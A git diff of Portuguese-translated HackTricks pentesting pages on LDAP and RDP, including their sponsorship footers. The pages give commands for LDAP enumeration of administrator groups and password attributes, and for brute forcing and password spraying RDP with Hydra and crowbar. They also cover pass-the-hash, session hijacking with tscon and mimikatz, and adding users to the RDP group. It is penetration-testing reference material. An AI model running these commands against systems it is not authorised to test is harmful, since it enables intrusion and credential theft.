Extrair **Administradores da Empresa**:
|
||||
Extrair **Enterprise Admins**:
|
||||
```bash
|
||||
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Enterprise Admins,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
|
||||
```
|
||||
Extrair **Administradores**:
|
||||
Extrair **Administrators**:
|
||||
```bash
|
||||
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Administrators,CN=Builtin,DC=<1_SUBDOMAIN>,DC=<TLD>"
|
||||
```
|
||||
|
@ -224,14 +238,16 @@ Extrair **Grupo de Área de Trabalho Remota**:
|
|||
```bash
|
||||
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Remote Desktop Users,CN=Builtin,DC=<1_SUBDOMAIN>,DC=<TLD>"
|
||||
```
|
||||
Para verificar se você tem acesso a alguma senha, você pode usar o comando grep após executar uma das consultas:
|
||||
Para verificar se você tem acesso a alguma senha, você pode usar o grep após executar uma das consultas:
|
||||
```bash
|
||||
<ldapsearchcmd...> | grep -i -A2 -B2 "userpas"
|
||||
```
|
||||
Por favor, note que as senhas que você pode encontrar aqui podem não ser as reais...
|
||||
|
||||
#### pbis
|
||||
|
||||
Você pode baixar o **pbis** aqui: [https://github.com/BeyondTrust/pbis-open/](https://github.com/BeyondTrust/pbis-open/) e geralmente é instalado em `/opt/pbis`.\
|
||||
O **Pbis** permite que você obtenha informações básicas facilmente:
|
||||
Você pode baixar o **pbis** daqui: [https://github.com/BeyondTrust/pbis-open/](https://github.com/BeyondTrust/pbis-open/) e geralmente é instalado em `/opt/pbis`.\
|
||||
**Pbis** permite que você obtenha informações básicas facilmente:
|
||||
```bash
|
||||
#Read keytab file
|
||||
./klist -k /etc/krb5.keytab
|
||||
|
@ -270,28 +286,32 @@ O **Pbis** permite que você obtenha informações básicas facilmente:
|
|||
|
||||
#Get description of each user
|
||||
./adtool -a search-user --name CN="*" --keytab=/etc/krb5.keytab -n <Username> | grep "CN" | while read line; do
|
||||
echo "$line";
|
||||
./adtool --keytab=/etc/krb5.keytab -n <username> -a lookup-object --dn="$line" --attr "description";
|
||||
echo "======================"
|
||||
echo "$line";
|
||||
./adtool --keytab=/etc/krb5.keytab -n <username> -a lookup-object --dn="$line" --attr "description";
|
||||
echo "======================"
|
||||
done
|
||||
```
|
||||
## Interface Gráfica
|
||||
|
||||
### Apache Directory
|
||||
|
||||
[**Baixe o Apache Directory aqui**](https://directory.apache.org/studio/download/download-linux.html). Você pode encontrar um [exemplo de como usar essa ferramenta aqui](https://www.youtube.com/watch?v=VofMBg2VLnw\&t=3840s).
|
||||
[**Baixe o Apache Directory aqui**](https://directory.apache.org/studio/download/download-linux.html). Você pode encontrar um [exemplo de como usar esta ferramenta aqui](https://www.youtube.com/watch?v=VofMBg2VLnw\&t=3840s).
|
||||
|
||||
### jxplorer
|
||||
|
||||
Você pode baixar uma interface gráfica com servidor LDAP aqui: [http://www.jxplorer.org/downloads/users.html](http://www.jxplorer.org/downloads/users.html)
|
||||
|
||||
Por padrão, ele é instalado em: _/opt/jxplorer_
|
||||
Por padrão, é instalado em: _/opt/jxplorer_
|
||||
|
||||
![](<../.gitbook/assets/image (22) (1).png>)
|
||||
|
||||
### Godap
|
||||
|
||||
Você pode acessá-lo em [https://github.com/Macmod/godap](https://github.com/Macmod/godap)
|
||||
|
||||
## Autenticação via kerberos
|
||||
|
||||
Usando `ldapsearch`, você pode **autenticar** contra **kerberos** em vez de via **NTLM** usando o parâmetro `-Y GSSAPI`
|
||||
Usando `ldapsearch`, você pode **autenticar** contra **kerberos em vez** de via **NTLM** usando o parâmetro `-Y GSSAPI`
|
||||
|
||||
## POST
|
||||
|
||||
|
@ -299,78 +319,78 @@ Se você pode acessar os arquivos onde os bancos de dados estão contidos (podem
|
|||
```bash
|
||||
cat /var/lib/ldap/*.bdb | grep -i -a -E -o "description.*" | sort | uniq -u
|
||||
```
|
||||
Você pode alimentar o John com o hash da senha (de '{SSHA}' até 'estrutural' sem adicionar 'estrutural').
|
||||
Você pode alimentar o john com o hash da senha (de '{SSHA}' até 'structural' sem adicionar 'structural').
|
||||
|
||||
### Arquivos de Configuração
|
||||
|
||||
* Geral
|
||||
* containers.ldif
|
||||
* ldap.cfg
|
||||
* ldap.conf
|
||||
* ldap.xml
|
||||
* ldap-config.xml
|
||||
* ldap-realm.xml
|
||||
* slapd.conf
|
||||
* containers.ldif
|
||||
* ldap.cfg
|
||||
* ldap.conf
|
||||
* ldap.xml
|
||||
* ldap-config.xml
|
||||
* ldap-realm.xml
|
||||
* slapd.conf
|
||||
* Servidor IBM SecureWay V3
|
||||
* V3.sas.oc
|
||||
* V3.sas.oc
|
||||
* Servidor Microsoft Active Directory
|
||||
* msadClassesAttrs.ldif
|
||||
* Netscape Directory Server 4
|
||||
* nsslapd.sas\_at.conf
|
||||
* nsslapd.sas\_oc.conf
|
||||
* msadClassesAttrs.ldif
|
||||
* Servidor Netscape Directory 4
|
||||
* nsslapd.sas\_at.conf
|
||||
* nsslapd.sas\_oc.conf
|
||||
* Servidor de diretório OpenLDAP
|
||||
* slapd.sas\_at.conf
|
||||
* slapd.sas\_oc.conf
|
||||
* Sun ONE Directory Server 5.1
|
||||
* 75sas.ldif
|
||||
* slapd.sas\_at.conf
|
||||
* slapd.sas\_oc.conf
|
||||
* Servidor Sun ONE Directory 5.1
|
||||
* 75sas.ldif
|
||||
|
||||
## Comandos Automáticos do HackTricks
|
||||
## Comandos Automáticos HackTricks
|
||||
```
|
||||
Protocol_Name: LDAP #Protocol Abbreviation if there is one.
|
||||
Port_Number: 389,636 #Comma separated if there is more than one.
|
||||
Protocol_Description: Lightweight Directory Access Protocol #Protocol Abbreviation Spelled out
|
||||
|
||||
Entry_1:
|
||||
Name: Notes
|
||||
Description: Notes for LDAP
|
||||
Note: |
|
||||
LDAP (Lightweight Directory Access Protocol) is a software protocol for enabling anyone to locate organizations, individuals, and other resources such as files and devices in a network, whether on the public Internet or on a corporate intranet. LDAP is a "lightweight" (smaller amount of code) version of Directory Access Protocol (DAP).
|
||||
Name: Notes
|
||||
Description: Notes for LDAP
|
||||
Note: |
|
||||
LDAP (Lightweight Directory Access Protocol) is a software protocol for enabling anyone to locate organizations, individuals, and other resources such as files and devices in a network, whether on the public Internet or on a corporate intranet. LDAP is a "lightweight" (smaller amount of code) version of Directory Access Protocol (DAP).
|
||||
|
||||
https://book.hacktricks.xyz/pentesting/pentesting-ldap
|
||||
https://book.hacktricks.xyz/pentesting/pentesting-ldap
|
||||
|
||||
Entry_2:
|
||||
Name: Banner Grab
|
||||
Description: Grab LDAP Banner
|
||||
Command: nmap -p 389 --script ldap-search -Pn {IP}
|
||||
Name: Banner Grab
|
||||
Description: Grab LDAP Banner
|
||||
Command: nmap -p 389 --script ldap-search -Pn {IP}
|
||||
|
||||
Entry_3:
|
||||
Name: LdapSearch
|
||||
Description: Base LdapSearch
|
||||
Command: ldapsearch -H ldap://{IP} -x
|
||||
Name: LdapSearch
|
||||
Description: Base LdapSearch
|
||||
Command: ldapsearch -H ldap://{IP} -x
|
||||
|
||||
Entry_4:
|
||||
Name: LdapSearch Naming Context Dump
|
||||
Description: Attempt to get LDAP Naming Context
|
||||
Command: ldapsearch -H ldap://{IP} -x -s base namingcontexts
|
||||
Name: LdapSearch Naming Context Dump
|
||||
Description: Attempt to get LDAP Naming Context
|
||||
Command: ldapsearch -H ldap://{IP} -x -s base namingcontexts
|
||||
|
||||
Entry_5:
|
||||
Name: LdapSearch Big Dump
|
||||
Description: Need Naming Context to do big dump
|
||||
Command: ldapsearch -H ldap://{IP} -x -b "{Naming_Context}"
|
||||
Name: LdapSearch Big Dump
|
||||
Description: Need Naming Context to do big dump
|
||||
Command: ldapsearch -H ldap://{IP} -x -b "{Naming_Context}"
|
||||
|
||||
Entry_6:
|
||||
Name: Hydra Brute Force
|
||||
Description: Need User
|
||||
Command: hydra -l {Username} -P {Big_Passwordlist} {IP} ldap2 -V -f
|
||||
Name: Hydra Brute Force
|
||||
Description: Need User
|
||||
Command: hydra -l {Username} -P {Big_Passwordlist} {IP} ldap2 -V -f
|
||||
```
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) **grupo do Discord** ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Compartilhe suas técnicas de hacking enviando PRs para o [repositório hacktricks](https://github.com/carlospolop/hacktricks) e [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
* Trabalha numa **empresa de cibersegurança**? Quer ver a sua **empresa anunciada no HackTricks**? ou quer ter acesso à **versão mais recente do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* Adquira o [**material oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Compartilhe suas técnicas de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
|
|
@ -4,24 +4,24 @@
|
|||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* Você trabalha em uma **empresa de cibersegurança**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Compartilhe suas técnicas de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e para o** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* Trabalha numa **empresa de cibersegurança**? Quer ver a sua **empresa anunciada no HackTricks**? ou quer ter acesso à **versão mais recente do PEASS ou baixar o HackTricks em PDF**? Verifique os [**PLANOS DE SUBSCRIÇÃO**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* Adquira o [**merchandising oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Junte-se ao grupo** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo [**telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Compartilhe suas técnicas de hacking enviando PRs para o repositório** [**hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (2) (4).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**DragonJAR Security Conference é um evento internacional de cibersegurança**](https://www.dragonjarcon.org/) com mais de uma década que será realizado em 7 e 8 de setembro de 2023 em Bogotá, Colômbia. É um evento de grande conteúdo técnico onde as últimas pesquisas em espanhol são apresentadas, atraindo hackers e pesquisadores de todo o mundo.\
|
||||
Registre-se agora no link abaixo e não perca esta grande conferência!:
|
||||
[**DragonJAR Security Conference é um evento internacional de cibersegurança**](https://www.dragonjarcon.org/) com mais de uma década de existência que ocorrerá nos dias 7 e 8 de setembro de 2023 em Bogotá, Colômbia. É um evento de alto conteúdo técnico onde são apresentadas as últimas pesquisas em espanhol que atrai hackers e pesquisadores de todo o mundo.\
|
||||
Registre-se agora no seguinte link e não perca esta grande conferência!:
|
||||
|
||||
{% embed url="https://www.dragonjarcon.org/" %}
|
||||
|
||||
## Informações Básicas
|
||||
|
||||
O Protocolo de Área de Trabalho Remota (**RDP**) é um protocolo proprietário desenvolvido pela Microsoft, que fornece a um usuário uma interface gráfica para se conectar a outro computador por meio de uma conexão de rede. O usuário utiliza software cliente **RDP** para esse fim, enquanto o outro computador deve executar software servidor **RDP** (daqui [aqui](https://en.wikipedia.org/wiki/Remote\_Desktop\_Protocol)).
|
||||
**Remote Desktop** Protocol (**RDP**) é um protocolo proprietário desenvolvido pela Microsoft, que fornece a um usuário uma interface gráfica para se conectar a outro computador através de uma conexão de rede. O usuário utiliza o software cliente **RDP** para esse fim, enquanto o outro computador deve executar o software servidor **RDP** (de [aqui](https://en.wikipedia.org/wiki/Remote\_Desktop\_Protocol)).
|
||||
|
||||
**Porta padrão:** 3389
|
||||
```
|
||||
|
@ -31,25 +31,29 @@ PORT STATE SERVICE
|
|||
## Enumeração
|
||||
|
||||
### Automática
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
nmap --script "rdp-enum-encryption or rdp-vuln-ms12-020 or rdp-ntlm-info" -p 3389 -T4 <IP>
|
||||
```
|
||||
Verifica a criptografia disponível e a vulnerabilidade DoS (sem causar DoS ao serviço) e obtém informações do Windows NTLM (versões).
|
||||
{% endcode %}
|
||||
|
||||
### [Força bruta](../generic-methodologies-and-resources/brute-force.md#rdp)
|
||||
Ele verifica as criptografias disponíveis e a vulnerabilidade a DoS (sem causar DoS ao serviço) e obtém informações do NTLM Windows (versões).
|
||||
|
||||
**Cuidado, você pode bloquear contas**
|
||||
### [Força Bruta](../generic-methodologies-and-resources/brute-force.md#rdp)
|
||||
|
||||
### **Spray de senha**
|
||||
**Tenha cuidado, você pode bloquear contas**
|
||||
|
||||
**Cuidado, você pode bloquear contas**
|
||||
### **Password Spraying**
|
||||
|
||||
**Tenha cuidado, você pode bloquear contas**
|
||||
```bash
|
||||
# https://github.com/galkan/crowbar
|
||||
crowbar -b rdp -s 192.168.220.142/32 -U users.txt -c 'password123'
|
||||
# hydra
|
||||
hydra -L usernames.txt -p 'password123' 192.168.2.143 rdp
|
||||
```
|
||||
### Conectar com credenciais/hash conhecidas
|
||||
### Conectar com credenciais/hash conhecidos
|
||||
```bash
|
||||
rdesktop -u <username> <IP>
|
||||
rdesktop -d <domain> -u <username> -p <password> <IP>
|
||||
|
@ -58,22 +62,15 @@ xfreerdp [/d:domain] /u:<username> /pth:<hash> /v:<IP> #Pass the hash
|
|||
```
|
||||
### Verificar credenciais conhecidas em serviços RDP
|
||||
|
||||
O rdp\_check.py do Impacket permite verificar se algumas credenciais são válidas para um serviço RDP:
|
||||
rdp\_check.py do impacket permite verificar se algumas credenciais são válidas para um serviço RDP:
|
||||
```bash
|
||||
rdp_check <domain>/<name>:<password>@<IP>
|
||||
```
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (2) (4).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**A Conferência de Segurança DragonJAR é um evento internacional de cibersegurança**](https://www.dragonjarcon.org/) com mais de uma década de existência que será realizada nos dias 7 e 8 de setembro de 2023 em Bogotá, Colômbia. É um evento com grande conteúdo técnico onde são apresentadas as últimas pesquisas em espanhol que atraem hackers e pesquisadores de todo o mundo.\
|
||||
Registre-se agora no seguinte link e não perca esta grande conferência!:
|
||||
|
||||
{% embed url="https://www.dragonjarcon.org/" %}
|
||||
|
||||
## **Ataques**
|
||||
|
||||
### Roubo de sessão
|
||||
|
||||
Com **permissões do sistema**, você pode acessar qualquer **sessão RDP aberta por qualquer usuário** sem precisar saber a senha do proprietário.
|
||||
Com **permissões de SYSTEM**, você pode acessar qualquer **sessão RDP aberta por qualquer usuário** sem a necessidade de conhecer a senha do proprietário.
|
||||
|
||||
**Obter sessões abertas:**
|
||||
```
|
||||
|
@ -83,42 +80,49 @@ query user
|
|||
```bash
|
||||
tscon <ID> /dest:<SESSIONNAME>
|
||||
```
|
||||
Agora você estará dentro da sessão RDP selecionada e terá que se passar por um usuário usando apenas ferramentas e recursos do Windows.
|
||||
Agora você estará dentro da sessão RDP selecionada e poderá se passar por um usuário usando apenas ferramentas e recursos do Windows.
|
||||
|
||||
**Importante**: Quando você acessa uma sessão RDP ativa, você encerra a sessão do usuário que a estava usando.
|
||||
**Importante**: Quando você acessa sessões RDP ativas, você expulsará o usuário que estava utilizando-a.
|
||||
|
||||
Você poderia obter senhas do processo fazendo dump, mas este método é muito mais rápido e permite que você interaja com as áreas de trabalho virtuais do usuário (senhas no bloco de notas sem serem salvas no disco, outras sessões RDP abertas em outras máquinas...)
|
||||
Você poderia obter senhas do processo despejando-as, mas este método é muito mais rápido e permite interagir com as áreas de trabalho virtuais do usuário (senhas no bloco de notas sem terem sido salvas no disco, outras sessões RDP abertas em outras máquinas...)
|
||||
|
||||
#### **Mimikatz**
|
||||
|
||||
Você também pode usar o mimikatz para fazer isso:
|
||||
Você também poderia usar o mimikatz para fazer isso:
|
||||
```bash
|
||||
ts::sessions #Get sessions
|
||||
ts::remote /id:2 #Connect to the session
|
||||
```
|
||||
### Sticky-keys & Utilman
|
||||
|
||||
Combinando esta técnica com **stickykeys** ou **utilman você será capaz de acessar um CMD administrativo e qualquer sessão RDP a qualquer momento**
|
||||
Combinando esta técnica com **stickykeys** ou **utilman você poderá acessar um CMD administrativo e qualquer sessão RDP a qualquer momento**
|
||||
|
||||
Você pode procurar RDPs que já tenham sido backdoor com uma dessas técnicas usando: [https://github.com/linuz/Sticky-Keys-Slayer](https://github.com/linuz/Sticky-Keys-Slayer)
|
||||
Você pode procurar RDPs que já foram comprometidos com uma dessas técnicas em: [https://github.com/linuz/Sticky-Keys-Slayer](https://github.com/linuz/Sticky-Keys-Slayer)
|
||||
|
||||
### Injeção de Processo RDP
|
||||
|
||||
Se alguém de um domínio diferente ou com **privilégios melhores fizer login via RDP** no PC onde **você é um administrador**, você pode **injetar** seu beacon no processo de sua **sessão RDP** e agir como ele:
|
||||
Se alguém de um domínio diferente ou com **privilégios melhores fizer login via RDP** no PC onde **você é um Admin**, você pode **injetar** seu beacon no **processo da sessão RDP** dele e agir como ele:
|
||||
|
||||
{% content-ref url="../windows-hardening/active-directory-methodology/rdp-sessions-abuse.md" %}
|
||||
[rdp-sessions-abuse.md](../windows-hardening/active-directory-methodology/rdp-sessions-abuse.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### Adicionando usuário ao grupo RDP
|
||||
### Adicionando Usuário ao grupo RDP
|
||||
```bash
|
||||
net localgroup "Remote Desktop Users" UserLoginName /add
|
||||
```
|
||||
## Ataque Shadow
|
||||
## Ferramentas Automáticas
|
||||
|
||||
**AutoRDPwn** é um framework de pós-exploração criado em Powershell, projetado principalmente para automatizar o ataque **Shadow** em computadores Microsoft Windows. Essa vulnerabilidade (listada como uma funcionalidade pela Microsoft) permite que um atacante remoto **visualize a área de trabalho de sua vítima sem seu consentimento**, e até mesmo controle-a sob demanda, usando ferramentas nativas do próprio sistema operacional.
|
||||
* [**AutoRDPwn**](https://github.com/JoelGMSec/AutoRDPwn)
|
||||
|
||||
{% embed url="https://github.com/JoelGMSec/AutoRDPwn" %}
|
||||
**AutoRDPwn** é um framework de pós-exploração criado em Powershell, projetado principalmente para automatizar o ataque **Shadow** em computadores Microsoft Windows. Essa vulnerabilidade (listada como um recurso pela Microsoft) permite que um atacante remoto **veja a área de trabalho de sua vítima sem o seu consentimento** e até a controle sob demanda, usando ferramentas nativas do próprio sistema operacional.
|
||||
|
||||
* [**EvilRDP**](https://github.com/skelsec/evilrdp)
|
||||
* Controlar mouse e teclado de forma automatizada a partir da linha de comando
|
||||
* Controlar a área de transferência de forma automatizada a partir da linha de comando
|
||||
* Criar um proxy SOCKS no cliente que canaliza a comunicação de rede para o alvo via RDP
|
||||
* Executar comandos SHELL e PowerShell arbitrários no alvo sem fazer upload de arquivos
|
||||
* Fazer upload e download de arquivos para/de o alvo mesmo quando as transferências de arquivos estão desativadas no alvo
|
||||
|
||||
## Comandos Automáticos HackTricks
|
||||
```
|
||||
|
@ -127,21 +131,21 @@ Port_Number: 3389 #Comma separated if there is more than one.
|
|||
Protocol_Description: Remote Desktop Protocol #Protocol Abbreviation Spelled out
|
||||
|
||||
Entry_1:
|
||||
Name: Notes
|
||||
Description: Notes for RDP
|
||||
Note: |
|
||||
Remote Desktop Protocol (RDP) is a proprietary protocol developed by Microsoft, which provides a user with a graphical interface to connect to another computer over a network connection. The user employs RDP client software for this purpose, while the other computer must run RDP server software
|
||||
Name: Notes
|
||||
Description: Notes for RDP
|
||||
Note: |
|
||||
Remote Desktop Protocol (RDP) is a proprietary protocol developed by Microsoft, which provides a user with a graphical interface to connect to another computer over a network connection. The user employs RDP client software for this purpose, while the other computer must run RDP server software
|
||||
|
||||
https://book.hacktricks.xyz/pentesting/pentesting-rdp
|
||||
https://book.hacktricks.xyz/pentesting/pentesting-rdp
|
||||
|
||||
Entry_2:
|
||||
Name: Nmap
|
||||
Description: Nmap with RDP Scripts
|
||||
Command: nmap --script "rdp-enum-encryption or rdp-vuln-ms12-020 or rdp-ntlm-info" -p 3389 -T4 {IP}
|
||||
Name: Nmap
|
||||
Description: Nmap with RDP Scripts
|
||||
Command: nmap --script "rdp-enum-encryption or rdp-vuln-ms12-020 or rdp-ntlm-info" -p 3389 -T4 {IP}
|
||||
```
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (2) (4).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**A Conferência de Segurança DragonJAR é um evento internacional de cibersegurança**](https://www.dragonjarcon.org/) com mais de uma década de existência que será realizada nos dias 7 e 8 de setembro de 2023 em Bogotá, Colômbia. É um evento com grande conteúdo técnico onde são apresentadas as últimas pesquisas em espanhol que atraem hackers e pesquisadores de todo o mundo.\
|
||||
[**DragonJAR Security Conference é um evento internacional de cibersegurança**](https://www.dragonjarcon.org/) com mais de uma década de existência, que ocorrerá nos dias 7 e 8 de setembro de 2023 em Bogotá, Colômbia. É um evento com grande conteúdo técnico onde são apresentadas as últimas pesquisas em espanhol, atraindo hackers e pesquisadores de todo o mundo.\
|
||||
Registre-se agora no seguinte link e não perca esta grande conferência!:
|
||||
|
||||
{% embed url="https://www.dragonjarcon.org/" %}
|
||||
|
@ -150,10 +154,10 @@ Registre-se agora no seguinte link e não perca esta grande conferência!:
|
|||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* Você trabalha em uma **empresa de cibersegurança**? Você quer ver sua **empresa anunciada no HackTricks**? ou quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Compartilhe seus truques de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* Você trabalha em uma **empresa de cibersegurança**? Quer ver sua **empresa anunciada no HackTricks**? Ou deseja ter acesso à **versão mais recente do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubra [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Compartilhe seus truques de hacking enviando PRs para o repositório** [**hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
|
|
@ -4,66 +4,66 @@
|
|||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Compartilhe seus truques de hacking enviando PRs para o [repositório hacktricks](https://github.com/carlospolop/hacktricks) e [repositório hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
* Trabalha numa **empresa de cibersegurança**? Quer ver a sua **empresa anunciada no HackTricks**? ou quer ter acesso à **versão mais recente do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
